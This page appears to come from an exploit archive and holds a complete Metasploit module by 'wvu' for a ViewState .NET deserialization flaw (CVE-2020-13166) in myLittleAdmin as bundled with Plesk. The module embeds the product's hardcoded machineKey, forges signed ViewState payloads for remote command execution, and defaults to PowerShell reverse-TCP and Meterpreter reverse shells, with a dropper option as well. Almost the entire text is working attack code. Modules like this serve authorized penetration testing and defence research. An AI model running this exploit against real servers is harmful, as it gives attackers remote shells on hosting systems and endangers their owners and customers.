Plesk/myLittleAdmin ViewState .NET Deserialization (Metasploit)

2020.06.05
Credit: wvu
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking # <input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="CA0B0334" /> VIEWSTATE_GENERATOR = 'CA0B0334'.freeze # <machineKey # validationKey="5C7EEF6650639D2CB8FAA0DA36AF24452DCF69065F2EDC2C8F2F44C0220BE2E5889CA01A207FC5FCE62D1A5A4F6D2410722261E6A33E77E0628B17AA928039BF" # decryptionKey="DC47E74EA278F789D2FF0E412AD840A89C10171F408D8AC4" # validation="SHA1" /> VIEWSTATE_VALIDATION_KEY = "\x5c\x7e\xef\x66\x50\x63\x9d\x2c\xb8\xfa\xa0\xda\x36\xaf\x24\x45\x2d\xcf" \ "\x69\x06\x5f\x2e\xdc\x2c\x8f\x2f\x44\xc0\x22\x0b\xe2\xe5\x88\x9c\xa0\x1a" \ "\x20\x7f\xc5\xfc\xe6\x2d\x1a\x5a\x4f\x6d\x24\x10\x72\x22\x61\xe6\xa3\x3e" \ "\x77\xe0\x62\x8b\x17\xaa\x92\x80\x39\xbf".freeze include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::AutoCheck include Msf::Exploit::ViewState include Msf::Exploit::CmdStager include Msf::Exploit::Powershell def initialize(info = {}) super( update_info( info, 'Name' => 'Plesk/myLittleAdmin ViewState .NET Deserialization', 'Description' => %q{ This module exploits a ViewState .NET deserialization vulnerability in web-based MS SQL Server management tool myLittleAdmin, for version 3.8 and likely older versions, due to hardcoded <machineKey> parameters in the web.config file for ASP.NET. Popular web hosting control panel Plesk offers myLittleAdmin as an optional component that is selected automatically during "full" installation. This exploit caters to the Plesk target, though it should work fine against a standalone myLittleAdmin setup. Successful exploitation results in code execution as the user running myLittleAdmin, which is IUSRPLESK_sqladmin for Plesk and described as the "SQL Admin MSSQL anonymous account." Tested on the latest Plesk Obsidian with optional myLittleAdmin 3.8. }, 'Author' => [ # Reported to SSD (SecuriTeam) by an anonymous researcher # Publicly disclosed by Noam Rathaus of SSD (SecuriTeam) 'Spencer McIntyre', # Inspiration 'wvu' # Module ], 'References' => [ ['CVE', '2020-13166'], ['URL', 'https://ssd-disclosure.com/ssd-advisory-mylittleadmin-preauth-rce/'], ['URL', 'https://portswigger.net/daily-swig/mylittleadmin-has-a-big-unpatched-security-flaw'] ], 'DisclosureDate' => '2020-05-15', # SSD (SecuriTeam) advisory 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ [ 'Windows Command', 'Arch' => ARCH_CMD, 'Type' => :win_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } ], [ 'Windows Dropper', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :win_dropper, 'CmdStagerFlavor' => %i[psh_invokewebrequest certutil vbs], 'DefaultOptions' => { 'CMDSTAGER::FLAVOR' => :psh_invokewebrequest, 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } ], [ 'PowerShell Stager', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :psh_stager, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } ] ], 'DefaultTarget' => 2, 'DefaultOptions' => { 'SSL' => true, 'WfsDelay' => 10 # First exploit attempt may be a little slow }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ Opt::RPORT(8401, true, 'The myLittleAdmin port (default for Plesk!)'), OptString.new('TARGETURI', [true, 'Base path', '/']) ]) # XXX: https://github.com/rapid7/metasploit-framework/issues/12963 import_target_defaults end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) ) unless res return CheckCode::Unknown('Target did not respond to check request.') end unless res.code == 200 && res.body.include?('myLittleAdmin for SQL Server') return CheckCode::Unknown('Target is not running myLittleAdmin.') end vprint_good("myLittleAdmin is running at #{full_uri}") check_viewstate(res.get_html_document) end def check_viewstate(html) viewstate = html.at('//input[@id = "__VIEWSTATE"]/@value')&.text unless viewstate return CheckCode::Detected("__VIEWSTATE not found, can't complete check.") end @viewstate_generator = html.at('//input[@id = "__VIEWSTATEGENERATOR"]/@value')&.text unless @viewstate_generator print_warning('__VIEWSTATEGENERATOR not found, using known default value') @viewstate_generator = VIEWSTATE_GENERATOR end # ViewState generator needs to be a packed integer now @viewstate_generator = [@viewstate_generator.to_i(16)].pack('V') we_can_sign_viewstate = can_sign_viewstate?( viewstate, extra: @viewstate_generator, key: VIEWSTATE_VALIDATION_KEY ) if we_can_sign_viewstate return CheckCode::Vulnerable('We can sign our own ViewState.') end CheckCode::Safe("We can't sign our own ViewState.") end def exploit # NOTE: Automatic check is implemented by the AutoCheck mixin super print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :win_cmd execute_command(payload.encoded) when :win_dropper execute_cmdstager when :psh_stager execute_command(cmd_psh_payload( payload.encoded, payload.arch.first, remove_comspec: true )) end end def execute_command(cmd, _opts = {}) vprint_status("Serializing command: #{cmd}") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'vars_post' => { # This is the only parameter we need for successful exploitation! '__VIEWSTATE' => generate_viewstate_payload( cmd, extra: @viewstate_generator, key: VIEWSTATE_VALIDATION_KEY ) } ) unless res && res.code == 302 && res.redirection.path == '/error/index.html' fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}") end print_good("Successfully executed command: #{cmd}") end end


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